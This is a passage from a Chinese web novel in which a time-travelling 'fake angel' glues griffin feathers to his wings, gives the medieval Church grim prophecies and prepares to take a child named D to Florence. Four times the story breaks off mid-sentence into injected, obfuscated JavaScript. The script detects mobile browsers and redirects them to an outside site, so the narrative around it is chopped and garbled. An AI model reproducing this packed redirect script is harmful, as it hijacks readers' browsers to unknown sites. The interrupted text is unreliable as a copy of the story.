“您愿不愿意张开翅膀在这里的教堂附近飞一圈,给那群教会成员看看。”她说,“我们想问的就是这个。” “?” 夏章雾迷茫地看向她。 他尝试理解这句话的意思。说实话,这件事稍微有点困难,但最后他还是成功了,并且感觉自己的头顶上出现了一个非常巨大的问号。 他?去教堂?飞一圈?给教会成员看?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609835|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 足足过去了半分钟,夏章雾才终于没有办法欺骗自己这其实是个玩笑。 他深吸一口气,指了指自己。 “所以你们俩的意思是,问我愿不愿意去教会那群人面前假装天使?” 斯库德的表情看上去好像更尴尬了。 他小声地说:“这也不算是假装吧,您本来就是天使来着。” 听到这话的夏章雾只觉得头都开始疼了。他用力地抓了抓头发,没好气地说道: “我都说了多少遍,非要讲的话,我的职业更接近先知!而且我完全不想面对教会的那群家伙,天知道到底会出现什么幺蛾子——” 不管是有人以为是真正的天使下凡感动到痛哭流涕,还是以为他是招摇撞骗的恶魔发誓要把他赶出去,夏章雾都完全不想面对。 悠悠哉哉地带着D在中世纪逛街难道不是很好吗?虽然那家伙也会莫名其妙地生气,但不管怎么想都比去面对教会的那群人要好得多吧! “但是,您应该也知道。” 拉普兰女人叹了口气,提醒道:“社会上的救济机构基本上都是由教会建立,贵族进行资助的。如果我们打算建立起一个收留这么多孩子的地方,肯定会被教会注意。” “然后,拉普兰女士她是一名女巫。” 吟游诗人有些沮丧地说。 如果她在这座城市定居后,有人向教会举报了她的身份,那就糟糕了。 毕竟作为一个收养了大量来路不明孩子的女人,她的容貌美丽、行为神秘、身份神秘,不管怎么看都非常可疑。 尽管这个时期的教会主流都对女巫狩猎没什么兴趣,大多数时候甚至还反对这种迫害行为,但这也拦不住她的确是一位真正的女巫。 想到这里,夏章雾皱了下眉。 “所以如果要在城市里生活的话,我想我应该会选择换个身份,比如说像希尔德加德那样的女预言家什么的。” 拉普兰女人的表情很无奈:“虽然我并不会预言,但我也没打算用这个来做什么,只是让我会的一些魔法合理化而已。不过据我的了解,一般教会也不会相信这些来路不明的女预言家。除非有什么能给她们做担保。” ——而最好的担保人就是天使了。 夏章雾挑了下眉,这下算是明白他们为什么在提起这件事时表现得有点尴尬。 毕竟这件事从实施上来讲确实不太对劲。考虑到自己在大家眼中的形象是天使兼任先知,或许还可以加上“唆使天使帮女巫冒充上帝信徒”之类的亵渎标签。 不过他倒是不怎么在意这种事,毕竟他自己的天使身份就是冒牌的。 事实上,一想到自己这个冒牌天使可能还要去给另一个冒牌女预言家做证明,夏章雾就觉得有些好笑。 他忍着笑,用力地按了按太阳穴,开始思考自己接下来到底该说些什么。但还没有等到他开口,拉普兰女人突然很认真地开了口。 “如果您不愿意,其实也有别的方法。我最开始想到的其实是把住处安置在偏僻的郊外,那样也不用麻烦您帮忙。” 她说:“但这件事终究需要我们一起讨论才能决定结果,所以我才会把这个计划也提出来。如果不行,我们直接就讨论下一个。” 所以她也没有使用“希望能”这样代表请求的字眼,而是十分直截了当的询问。说到底,这只是所有方案中的一个,并不是唯一的解决方法。 吟游诗人听到这里,抬起头似乎想说什么,但最后又垂头丧气地低了下去。 在场所有人其实都很清楚:就算是搬到郊外也没有办法解决问题,这个顶多算是不得已进行的妥协。 毕竟这个时代教会的影响力太广,只要频繁地接触人类社会,他们迟早都会出现问题。除非他们带着孩子不断地在各个城市与乡间搬迁,否则很难隐藏自己的身份。 这个时候,夏章雾也结束了思考。 “别这么严肃啊。” 他坐直身子,笑起来:“也不是不行。不过到时候你们最好给我好好地赔偿精神损失费,对付那群家伙可是很麻烦的。” 85.你无法选择无法被选中的对象 假装自己是天使需要几步? 嗯,对于夏章雾来说,第一步肯定是使劲地往自己那对翅膀上增加一点白色成分。 毕竟他完全不指望那群教会人员会和那些眼睛疑似有问题的人群一样,会以为一个有着黑白相间翅膀的玩意是天使:作为天使,翅膀怎么样也得是纯白色吧! 这个时代的白色染料并不多。其中还有不少都有着相当浓烈的气味,于是夏章雾本人采取了最简单的方法。 他直接拔了狮鹫的毛。 和翅膀颜色泛点棕褐色的独角兽不同,金光灿灿的大狮鹫有着一对相当漂亮的纯白色羽翼,在阳光下能折射出非常好看的光。它也经常会展开自己的翅膀晒太阳,得意洋洋地炫耀着自己美丽的皮毛。 不过它的好日子已经彻底到头了。 第二天醒来的时候,孩子们目瞪口呆地发现了房屋前蹲着的大狮鹫身上的羽毛已经少了整整一圈,有点像是个倒霉的秃毛鸡。 它蔫头搭脑地趴在地上,使劲地捂着自己可怜的翅膀,一副萎靡不振的模样,再也神气不起来了。不过这倒是引来了很多孩子的慰问。 他们嘘寒问暖地凑在狮鹫的旁边,用了不到五分钟就编出了一个有关于“羽毛大盗”的故事,并且把它讲得头头是道。只有D在旁边默默地听着,一句话都没有说。 他只是仔细地打量了一遍狮鹫身上缺少的那部分羽毛的大小,最后终于确定了罪魁祸首。 ——嗯,错不了。 绝对就是勒托先生干的。 而此时,夏章雾已经用胶把这些羽毛全部都有模有样地黏在了自己的翅膀上。 他转了好几圈,终于确定至少在静止时看不出来这对翅膀上还有黑色的羽毛了。为了以防万一,他又在天空中试飞了几圈。 很好,虽然灵敏程度没有以前那么高,但至少飞起来的时候也没有露馅。旁边的斯库德也给出了相当肯定的评价。 “看上去完全没有问题!” 他拿着一本崭新的《圣经》,信誓旦旦地如是保证道:“您现在的样子真的非常像天使!” “是吗?我还以为需要在头顶上再套一个看上去蠢透了的金灿灿光环。” 重新落下来的夏章雾看了看背后的翅膀,不太适应地抖了抖羽毛尖:“不过你确定教会的人会相信这种说法?他们应该不会跑过来拔毛来验证真假吧?” 翅膀上面沾羽毛的感觉就像是穿了一身并不合适的衣服,或者皮肤上被黏了胶水,让他真的很想把这些东西全部都洗掉。但目前只能忍着。 “肯定不会。” 比人类学教授更加了解中世纪风土人情的女巫小姐回答的语气十分坚定:“他们不会对天使做出这么无礼的举动。这样的形象就足够了,如果您愿意在人们面前展现一些奇迹,他们至少明面上不会有任何反对的声音。” 奇迹? 夏章雾嘴角扯了扯,感觉自己唯一能表演的奇迹就是一个火烧不尽、水泡不皱、人撕不烂的笔记本,还有一个流不完的泪瓶。 这个时候他就格外羡慕自己朋友的异能了,尤其是道格拉斯能够变出一大堆东西的能力。要是他也能这么变,怎么也得给中世纪人表演一个五饼二鱼开开眼。 但很可惜,他虽然也有异能,但完全没有那么酷炫。 夏章雾抓抓头发,深吸一口气。 “所以有什么建议吗?” 他不得不向身边正常的中世纪人寻求提议:“我真的想不出来能展现什么奇迹。” 被他询问的斯库德有些茫然地眨了眨眼睛。 他努力地回忆着自己读过的所有史诗里面的内容,又转头看了看拉普兰女人,似乎是在指望自己的外置大脑能够提出什么靠谱的建议。 但很显然没有。因为那位女士也在满脸严肃地思考着这个方面的问题。 “要不您就做出一个预言?” 再次努力地思考了片刻,吟游诗人试探性地说道:“之前拉普兰女士不是说过吗,预言的能力很少见。如果能做出成功的预言,那么他们应该也不会质疑您吧?” 夏章雾的目光稍微偏移了一下。 预言? 这个他倒是真的会。但真要说的话,他对中世纪最深刻的印象就是发生在未来不久的欧洲□□,然后就是发生在欧洲□□后不久的黑死病大流行,以及中间混杂的各种战争。 嗯,可能还有作为收尾的宗教改革。 他有些尴尬地摸了摸下巴。 “其实我对未来的印象最深的基本上就是瘟疫、战争、饥荒、教会分裂之类的。这种玩意一般也不太容易被信吧——等等,你们也别用这种眼神看我!” 他突然反应了过来,黑着脸对那两个表情震惊的家伙喊道:“我的职责是过来把冰雪女王杀死的,又不是负责吹号角的那个!现在离启示录中的时间还远着呢!” “虽说如此,但总感觉未来突然已经变得黯淡无光了。”拉普兰女士扶着额说道,不过她还是很快就笑了起来。 “不过您既然这么说,那我们也能够为接下来发生的事情做更多的准备。”她说,“但我想这种预言应该很难快速地被验证。” 夏章雾本人也是这么想的。 如果在更近一点的时代,他确实能够依靠读者与自己的力量做出更切实际的预言。至于现在么,也不是没有办法。 只是…… “帮我。” 他叹了口气,面无表情地对作者说。 作者之前全程都在哼歌,显现出一副十分快活和胜券在握的样子。在听到这话后,它也不继续哼着那跑调的旋律了,转而表现出了一副相当得意洋洋的趁火打劫的嘴脸。 “亲爱的主角哟,求人就要有求人的态度。” 它慢悠悠地拖长了声音,语气里满是调侃:“比如说呢,求人时最好能够在前面加上‘亲爱的作者小姐’这样的字眼。礼貌,懂吗?” 呵。 夏章雾默默地捏紧了拳头。 “那我不干了。”他果断地说,“反正这件事又和我没有关系。我也不是非要假装自己是什么天使,要跑到那群教会成员面前飞一圈。” 这回轮到作者大惊失色了。 “不不不,你不可以呀!”它喊道,“你不干了那我怎么办?读者想看的乐子怎么办?你必须要去演天使——我全程赞助你所有的预言!这总算行了吧!” 夏章雾眯起眼睛。 “你说的,一言为定。”他说。 作者这才意识到了自己说了什么。 “等等。”它说,“要不我把这段剧情删掉,我们重来一遍这个对话怎么样?我保证下次不会被你威胁了。” “然而我拒绝。” 夏章雾也毫不客气地说:“你要是不被我威胁,我就真跑路了。反正女巫虽然被教会警惕,但在贵族里面似乎还挺混得开的。我完全可以建议拉普兰女士换个思路。” 这倒也是。 作者发出沮丧的叹气声,最后还是捏着鼻子认了这份“不平等条约”。 在场的另外两个人看到夏章雾在和空气嘀嘀咕咕了一番后,脸上重新浮现出笑容,也不怎么惊讶。 拉普兰女士好奇地眨眨眼睛:“谈拢了?” 他们都知道面前的这位天使或者先知具有能直接和神明沟通的能力。 虽然说勒托看上去和神明的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女巫看着他,那对湛蓝的眸子仿佛能够看穿人心。她说:“如果您真的打算现在走,最好别让那孩子知道。如果您愿意陪那孩子最后一段时光,我希望您也别太纵容他。” 夏章雾沉默了片刻。 “为什么?”他问。 “因为我们都能看得出来,那孩子眼中的东西。”这回是吟游诗人开了口。他叹了口气,这么说,“是野心。” 那是想要抓住某种事物的眼神。 越是难以被捕捉的事物越想要得到,并且永远都不会放手的眼神。 ——普通人毕生的野心或许不过是权力,杰出的人们或许有着妄图改变全人类命运的野心。因为他们最多能接触的也不过是这样的东西。 但如果这样的人曾经见过天使呢? 走出房子后,夏章雾看D的眼神都不由自主地微妙了起来。 那诡异的目光让D都忍不住抬头看了过去,看样子很想问问大人的脑子里都在想什么。但最后他只是看到夏章雾摸了摸他的脑袋。 “我在想一件事。”大人说,“目前为止,我还没有想好到底要不要告诉你。” D有些困惑地看过去。但他还没来得及问什么,就看到对方拿出了怀里的本子,递给他。 “所以我决定让他们来替我做决定。” 他笑着说:“翻到后面的页数,让我看看他们到底都说了些什么吧。” ——不过真要说的话。 夏章雾微笑着想到:读者们会做出的答案,其实他心里早就知道了啊。 86.开玩笑,我连自己都可以骂啊 「250抽龙王2+1豚豚鼠的胜利: 直接跑掉或许会触发小黑屋后续之类的,有些好奇呢。如实相告的话,就只能做约定吧,约好“明天见”。账务不要欺负和弄哭D酱哦。」 「桉莉斯: 好好告别吧,好好告别吧,让我们唱着“长亭外~古道边~芳草碧连天~”说后会有期。我拿您的头发发誓您们未来还会再见面的,至少您能看见他成年的样子。」 “如果你愿意拿自己的头发发誓,我说不定还能相信一点你的话,笨蛋爱丽丝。” 夏章雾面无表情地用中文吐槽道,然后望向D,毫无障碍地把语言系统切换成了拉丁语,并且耸了耸肩。 “好吧,看来这两位都是比较倾向于要告诉你这件事的。目前有两票了。”他说。 费奥多尔若有所思地歪过头。 于是他往前面又翻了一页。 「暮川夜: 明明心里已经知道答案,但却还是来明知故问的账务很狡猾啊!大家不要放过这个狡猾的账务!(呼吁)至少也应该“明天见”吧?」 「阴暗社畜 A: 要好好告别啊,不告而别还骗孩子的人渣是要挨千刀的哦。只是建议,最好说清楚一点:千万,千万,别说,“明天见”哦。 ——这种谎言说出口,良心会不会痛是一回事,会不会招惹上什么男鬼一样的存在是另一回事哦。不知道你能不能看见(懒得打码了反正你看不见,谢谢)」 夏章雾凝视着这一页纸,陷入沉默。 最让他无语的并不是读者之间关于要不要说“明天见”的争论,毕竟他们的意思都是要自己好好地去和D告别。 让他整个人都绷不住了的还得是读者评论末尾那句括号里的话。 ——“懒得打码了反正你看不见”。 “你这是演都不演了吧!” 他没好气地扭头质问作者:“连涂黑都懒得涂了,直接给我一步到位了是吧!你还不如直接把一个评论砍半截给我看!” “毕竟总是要打码也太麻烦人了。” 而作者的态度也相当坦然。 它理直气壮地说:“而且如果把后半截完全不要了的话,你怎么能知道自己有东西被瞒着?那不就和正常的评论完全没有区别了吗?” 他也完全不想要在这种地方看到区别! 夏章雾磨了磨牙,有些怀疑这个混蛋就是故意在这种时刻折腾他心态的。不过最后他还是勉强放宽了心情,继续读下去。 「林夜: 尊敬的夏章雾老师:本人即将进行高考。想必您也知道高考是多么重要的事?所以我特意来委托你给我上层祝福,什么考的全会蒙的全对之类的,也拜托你帮我向你身边的那些作家们要句祝福哦?越多越好哦?……所以快帮我向大家要祝福!你有11天时间哦?」 喂喂喂,这种事情的话,怎么样也得轮到他重新回到二十一世纪在说吧?在中世纪他根本就不认识几个人啊。 夏章雾有些无奈地眯起眼睛。 不过还在这里确实有一位似乎还能算得上是作家的家伙——如果说异能者在读者们的世界里身份就是作家的话。 “这个是想要你的祝福,D。” 他抬起头,对旁边的孩子耸了耸肩,露出无所谓的笑容:“打算在心里稍微祝福一下那个小家伙吗?” D似乎有些困惑地偏过脑袋。 他好像不太能够理解为什么那些给出了预言的存在还会想要自己的祝福,但他最后还是点了点头。 接下来就是新的一页。 夏章雾看过去,入眼的第一篇评论就在很有把握地说着可以帮自己搜集信息的事情。不过他深信事情绝对不会这么简单,于是干脆直接跳到了结尾。 「玧末: ……当然,这不是无偿的。请您大声喊出:账务是个大笨蛋,或者对着某个红眼睛的人喵喵喵,即可。感谢您的支持和配合喵~」 抱歉啊,虽然你貌似很想看这种剧情,但这种事我这辈子都不会干的! 夏章雾相当硬气地敲了敲书页,无视了这些读者不着调的评论,重新尝试着寻找里面靠谱的言论起来。 「liar七零八碎: 就算自己很别扭,但是不告而别还是太不好了。好好的说一句“再见”吧!说到底,其实还是一个很温柔,而且拒绝小孩子的人嘛。 如果您不告而别的话,嗯嗯,不知道D会不会哭,但如果真的还有下次见面的话,你一定会很不好过的。所以好好的说一句“再见”吧! 但如果教授实在不愿意……也行吧。但是,可不可以替读者们对我们亲爱的人类幼崽D说一句“再见”呢?至少替 liar 说一句吧!我们注定会在时间的另一侧重逢。……」 接下来,夏章雾又读了好些人的评论。 有很多很多的读者在评论区里聊天,其中有的在叽叽喳喳地位拉普兰女士感到担忧,有的在好奇那位女巫小姐的身份,有的在进行一些莫名的鼓励,桉莉斯的笑话也在与时俱进地更新。 但到最后,读者们的意见都是一致的。 好好地告别。 夏章雾摸了摸D的脑袋,轻轻地笑了一声。 他对这种回复早就有所预料了。 毕竟评论区里面的那群家伙,似乎都挺喜欢这个孩子的啊。能够给出这样的答案不管怎么想都不太出人意料。 “好吧,看来这件事我必须要告诉你了。” 他说:“我要走了。” D轻微地愣了一下。 这孩子抬起脑袋,望着夏章雾,也不知道脑子里到底在想什么,只是用力地抓住了大人的衣角,攥得很紧。 “嘛,虽然他们只是建议我告别。但既然都让你知道了的话,你肯定也会趁这个机会提出最终的要求的吧?毕竟我说过,我虽然没有办法带你走,但我也会尽可能地对你负责。” 夏章雾低下头,看着面前似乎有些不知所措的孩子,似乎是笑了笑。 他说:“不管你是要我带你去哪里,我都尽可能地做到。当然,你也可以选择留在这里,和其他的孩子在一起。” 读者们似乎很想要他帮忙说一句“再见”。 但那群小傻瓜还是太小瞧面前这个孩子死缠烂打的能力了。现在可还不是告别的时间,毕竟他们之间的那个承诺可还没有达成。 大概只有上帝才知道面前这孩子会趁这个机会提出什么胡搅蛮缠的要求。说不定就会故意指定一个相当遥远的地方,光是飞过去就要十万八千里,以此来尽量地拖延真正分别的时光。 夏章雾甚至都做好准备,说会说出什么神话故事或者民间传说里才存在的地名了。 但D没有立刻开口说话。 他只是睁着那对清亮的红眼睛,专注地抬头瞧着夏章雾,嘴唇固执地抿成了一条直线,似乎正在揣测大人口中这句话的真假。 夏章雾垂下眼眸,也在认真地看着他。 说实在的,他从来都没有办法理解孩子们的想法,但这并不代表他没有意识到这个过于聪慧的孩子性格里的偏执、倔强、理性,以及那种天性般的冷淡与傲慢。 冰雪女王宠爱他并非没有理由。在许许多多的孩子中,D是最像它的那个:比起活人,更像是冰雪塑造的人像。 ——“眼中燃烧着野心”吗? 夏章雾注视着对方宛若火焰般的红眼睛,想到另外两个人的评价,轻轻地叹了口气。 但冰雪一样的事物,到底是怎么燃烧的起来呢? “我想去佛罗伦萨。” 最终,那个孩子这样轻声地说道。 “佛罗伦萨?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620412|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏章雾重复了一遍。 那是个比想象中更加近的地方。 不需要跨越大海,不需要跨越难以想象的距离,不是中世纪欧洲传说中的某个场所。如果骑着狮鹫在空中飞行,甚至顶多只需要一天的时间就能够抵达。 那里是未来即将开幕的地方,那里是在中世纪的历史上留下了不朽名字的地方,那里也是即将爆发的鼠疫最严重的灾区之一。 在欧洲,黑死病“只不过”带走了其中二十分之一的人。而在佛罗伦萨,黑死病却整整杀死了这座城市五分之四的人口。 “你确定吗?” 所以他皱起眉,这样问。 “我确定。”D的语气坚定起来,他看着夏章雾,“我想要去佛罗伦萨。” 没有继续多说什么。夏章雾只是用力地揉了揉这孩子的脑袋,然后站起身。 “等我回来,我带你去佛罗伦萨。”他说。 ——往好的方面想,布拉姆至少是死在了几百年后的未来。所以就算是他选择在佛罗伦萨生活,也不用担心鼠疫会提前带走他的生命。 更何况,鼠疫和吸血鬼哪个更具有传染性还是个未知数。要是这只奇幻故事中的飞天耗子打不过中世纪的普通老鼠,布拉姆干脆也别当异能者了。 什么“十大灾厄”啊,还是去和苍蝇老鼠蚊子蟑螂坐一桌吧。 “俺不中了。” 作者发出难绷的声音:“那你有没有考虑过中世纪人在面对瘟疫时会用大蒜驱邪,所以有可能把吸血鬼活生生熏死这回事。” 他们两个说这个话题的时候,夏章雾已经飞到了天空上。听到这句话后,他在空中结结实实地愣了一下,差点因为忘记扇翅膀而掉下来。 “原来他还有吸血鬼的那种体质吗!” 夏章雾震惊地说,同时脑海中有一种恍然的明悟感:“怪不得他总是戴着我之前送给他的帽子,原来是怕没有帽子被太阳给晒死?” 都怪北方之前一直处于极夜状态,女巫小姐做饭又从来不放大蒜,他竟然到现在才发现有这么一回事。 “……” 作者无言了几秒钟,最后给出了相当真诚的回复。 “你真是个天才。”它说,“我没在开玩笑。” 所以说,明明平时看上去还是挺聪明的一个人,怎么总是会在有关于某位俄罗斯人的事情上犯傻呢? 这症状不说和之前总是叫不对名字的行为一模一样,至少也是没啥本质区别了。 想到这里,作者忍不住幽幽地叹了口气,开始思考起自己家主角老年痴呆的可能性,同时悄悄地打开了后台网页,开始查找“老年痴呆的基本症状”。 于是,就在作者长久地、漫长地对着自己设定进行痛苦思考的过程当中,夏章雾已经来到了这座城市的教堂。 他先是谨慎地观察了一下,然后才缓缓地从上方飞下来,于此同时还认真地思考了一番有关于接下来到底该说什么话的备案。 ——不过他所有的备案都没起效。 因为他刚刚飞下来,就听到了一声惊呼和众多的骚乱。教堂外面站着的一个教士直接眼尖地发现了他,然后开始兴奋地奔走相告。 “天使!天使来了!”他喊道。 “什么,是预言中的那位天使吗!” 里面又冲出来了一个人,激动地回答。 夏章雾拍打翅膀的动作一顿:“……” 他赶紧谨慎地又飞高了一点,大脑飞快地运转起来。 预言?什么预言?这个世界上除了他之外,难道还有别的人会预言吗? 等等,“除了他之外”? 夏章雾的表情彻底僵住了。 ——特么的,这肯定又是未来的自己在过去给现在的他埋的坑! 前面忘了后面忘了,但未来的他有这么畜生的吗! 87.吔我背刺啦! 后续发生的故事相当漫长。 非要说的话,那就是一个假冒伪劣天使硬着头皮走进教堂,并被不知从何处得知消息的各路主教与教皇热切慰问的故事。 听上去倒是不错。但身处其中的夏某人只觉得自己快要被这群老爷爷的热情给烧死了。唯一让他感到欣慰的就是那群人不会和小孩子一样,直接扑上来揪他翅膀上的羽毛。 但这里发生的事绝对也好不到哪里去——因为他很快就被迫参观了一大堆令他本人昏昏欲睡的仪式,而且还要上台发言。 尽管他来到这里的目的也的确是想要进行发言,但是说实在的,他现在还是完全没有办法理解这一切发生在自己身上的事。 你们教会都是这么迎接天使的?真的需要这么多莫名其妙的程序吗? 全程保持飞天大鸟姿态的夏章雾只能努力维持着面无表情神态,以此来掩饰自己在这种情况下的大脑空白与眼前一黑。 但在经历了这堪比校委会领导讲话的三个小时折磨之后,他不得不承认自己确实已经被这漫长的程序折磨得神志不清,而且很想要干点什么事情来狠狠地对这个世界展开报复。 于是他深吸一口气,干脆恶狠狠地把自己知道的有关于中世纪的灾难全都说了出来。 英法百年战争?说了。 十字军东征失败?说了。 欧洲□□?说了。 黑死病大爆发?说了。 天.主教会分裂?说了。 旁听的那一群人都在飞快地记录着预言,随着各种糟糕预言越来越多,他们的表情也逐渐从惊恐变成了迷茫,显然没有想到未来的几百年里能够发生这么多的大事。 而且还是这么多糟糕的大事。 总之差不多把自己知道的所有糟糕的事情全部都说完后,夏章雾看着表情困惑的人群,总算是满意地呼出一口气,勉强感觉到了舒心。 当然,他也没有忘记在这一串糟心预言的最后临时为拉普兰女士打小广告:他十分严肃地声称这位女士是被上帝选择的圣人,同时也是一位杰出的预言家,不过她更喜欢保持缄默。 当然,最重要的是这位善良的女士即将带着一群无家可归的孩子来到这座城市定居,所以接下来就是考验你们专业能力的时候了。 ——其实说这话的时候,夏章雾心里还是稍微有点心虚的。 众所周知,这个世界有狮鹫,有独角兽,有各种乱七八糟让人懒得给它们取名字的玩意。如果你运气好的话,说不定还能在爱琴海上遇到几只希腊神话里的海妖。 所以这个世界的神话拥有多大的含金量可想而知。毕竟如果连《圣经》里的利维坦都是存在的,那你自然也很难去怀疑《圣经》里的上帝存不存在。 而在知道这种事的情况下,还能面不改色地打着上帝的旗号招摇撞骗就需要一点胆量了。毕竟上帝在《旧约》里的脾气向来不怎么好。 不过夏章雾等了半天,也没有看到真的有神或者正版的天使跳出来起诉他的盗版行为,于是遍也逐渐放下了心。 “更何况,这个世界的造物主是你啊。” 他很有自信地对作者说:“你应该不会放任自己家的主角被莫名其妙一道雷劈死吧?” 作者大概是翻了个白眼。 “首先,被雷劈死更适合希腊神话,不是希伯来神话。”它指正道,“其次,我要是哪天打算烂尾了,我绝对会让你尝试一下这种死法。” “……?” 夏章雾突然产生了一种狠狠攻击这个混蛋三流作者族谱的冲动。但幸运的是,在他正式把这件事从想法转变成行动之前,那群正在使劲记录这一大堆各种各样预言的教会成员中突然有人问了个问题。 “这就是您赐予我们全部的教诲了吗?” 说这话的人也是个白发苍苍的老人,他此时已经记录完了所有的内容,弯着腰,十分恭谨地询问道。 夏章雾短暂地沉默了几秒。 他突然想到了布拉姆的事。 在接下来的几个世纪当中,吸血鬼的存在一直遭到教会持之以恒的镇压。甚至有说法是教廷曾经在十五世纪为了灭绝吸血鬼的存在而尝试着进行新的一轮东征。 而作为一名专业的人类学研究者,夏章雾知道这个说法是真的。 虽然那次十字军东征不知为何,并没有真正地发动,但是许多当时遗留下来的资料中依旧残留着只言片语,讲述着当时东征的目标:清缴以人血为食的恶魔大公。 他需要尝试阻止这件事吗? ——除了拉普兰女人和斯库德,他还需要为另一个人做出担保吗? 夏章雾抬起眼眸。 “不。”他说,“只有这些。” 或许吸食人血的怪物的出生并不是错的。但人类杀死吸血鬼也并不是错的。这个世界就是这样,从来没有圆满的结局。 而他终究是人类。 更何况,在欧洲的人们在遭遇了接踵而来的鼠疫和□□后,他并没有权力去劝说这些饱受苦难的人放过吸血鬼这种以人血为食的生物。 就算布拉姆很有可能是D也一样。 不过…… 算了,没有“不过”。 …… “所以说——” “所以说,你还真是个冷漠的大人。” 画外音这样认真地说。 它做出这段点评的时候,已经回来的夏章雾正在尝试把剑从狮鹫的脑袋里拔出来。 倒霉的狮鹫在他的手底下疼得嗷呜嗷呜直叫唤,但是连爪子都没敢伸,像极了一只瑟瑟发抖的大号猫咪。 那只脑袋上猎刀已经被拔下来的冰鸟在旁边瑟瑟发抖。其余几只独角兽则是在发出看戏的奚落声音,同时摇晃着头顶上的角,让风在里面形成颇为喜感的音乐。 不得不说,这几只独角兽的音乐天赋实在是超前,在中世纪就已经领悟了摇滚乐的精髓。到现在,听它们用角播各种各样的曲子已经成为这段旅行的重要一环了。 夏章雾停下拔剑的动作,用手搓了搓独角兽的脑袋,然后才继续自己的工作,同时没好气地回答了作者的话。 “你说的倒是没错,毕竟我早就没有多少良心了。”他说,“但你有什么资格对我说这种话。你不冷漠还是没成年?论这种冷酷的事情,我做的可比你要少太多了。” “不一样啦,不一样。” 画外音悠悠然然地回答道:“对我来讲,我伤害的对象只不过是随时可以删改的文字。我不会对他们产生共情,也无法认可这几个字拼凑出的存在会有什么令人珍视的价值。” 它看着夏章雾终于拔出了插在狮鹫头顶的利剑,它看着夏章雾把那柄剑丢在地上。它似乎笑了一声,然后继续说。 “但是你——亲爱的。对你来讲,被你舍弃的是活生生的人,而且还是你认识了数个月、心怀愧疚的孩子。” 它的声音很轻:“就算如此,你依旧没有受到感性的影响,而是坚定不移地选择了那些你素不相识、甚至对你来说已经尽数逝去的人。” 还真是了不起啊,主角先生。 这句话作者没有说出口,只是在笑。但它知道自家的主角明白自己的意思,事实上,它的主角也确实知道。 夏章雾面无表情地擦掉脸上狮鹫的血。 重获自由的狮鹫兴奋地一飞冲天,然后又讪讪地飞落下来,摆出一副不知道为什么自己突然获得了自由的呆傻样子。 人类看着这只笨蛋狮鹫主动用爪子蹭了蹭自己的胸口,那对明亮的大眼中分明透着“你是不是有什么心事”的不安,最后终于叹了口气。 “我要走了,走之前顺便帮你们把剑拔了。” 他不得不和这只愚蠢的大猫解释道:“简单而言,你现在已经自由了。你想去哪里就可以去哪里,可以回去也可以留在这,反正只要不是跟着我就行。” 狮鹫歪了下脑袋。 它看上去依旧是一副不太能够理解这件事的样子,但它至少没有跟上来,而是就这么呆乎乎地看着夏章雾后退。 也许它并不打算离开。但夏章雾并不是很清楚,因为这次狮鹫并没有“嗷呜嗷呜”地突然叫唤起来。斯库德和拉普兰女士也不在,或许是带着孩子出去了,或许是不太想直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628583|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面分别。 当然,更有可能是成年人都知道在这种时候需要给彼此留下一点独处的空间。 夏章雾定定地看了几秒狮鹫,然后转身毫不犹豫地离开。就在几百米外,D抱着自己为数不多的行李,安安静静地等着他。 等到大人拖着小行李箱走过来后,他才仰起脸,开口询问。 “不骑着狮鹫走吗?”他说。 “不了。”夏章雾摇了摇脑袋,“反正也并不是非常漫长的路程。更何况——” 他低下头,看着这个孩子,突然笑了。 他弯着眼睛说:“让最后的这段时间稍微长一点,你应该不会介意吧,小家伙?” D明显地愣住了。 这个平时聪慧又冷静的孩子现在看上去真的很像是那只傻狮鹫,都是那种平时正常走路时,被从天而降的巨大礼盒砸中,以至于都开始怀疑这一整天真实性的表情。 不过比狮鹫好一点的是,他很快就又恢复了冷静的状态,只是用力地拽住了夏章雾的手。 “我不介意。” D很认真地、一板一眼地回答。 夏章雾“嗯”了声,拉着对方的手,往前方的道路走去,语气相当的散漫:“那我们就出发。我会把你一路送到佛罗伦萨,并且为你寻找到一户合适的人家。没有问题吧?” 孩子的声音紧接在后面。 “嗯。”他说,“还有,勒托先生。之前拉普兰女士过来找了我,说有一件事情她到最近不久才正式得到了确定。想要我转告给你。” 夏章雾歪了下脑袋。 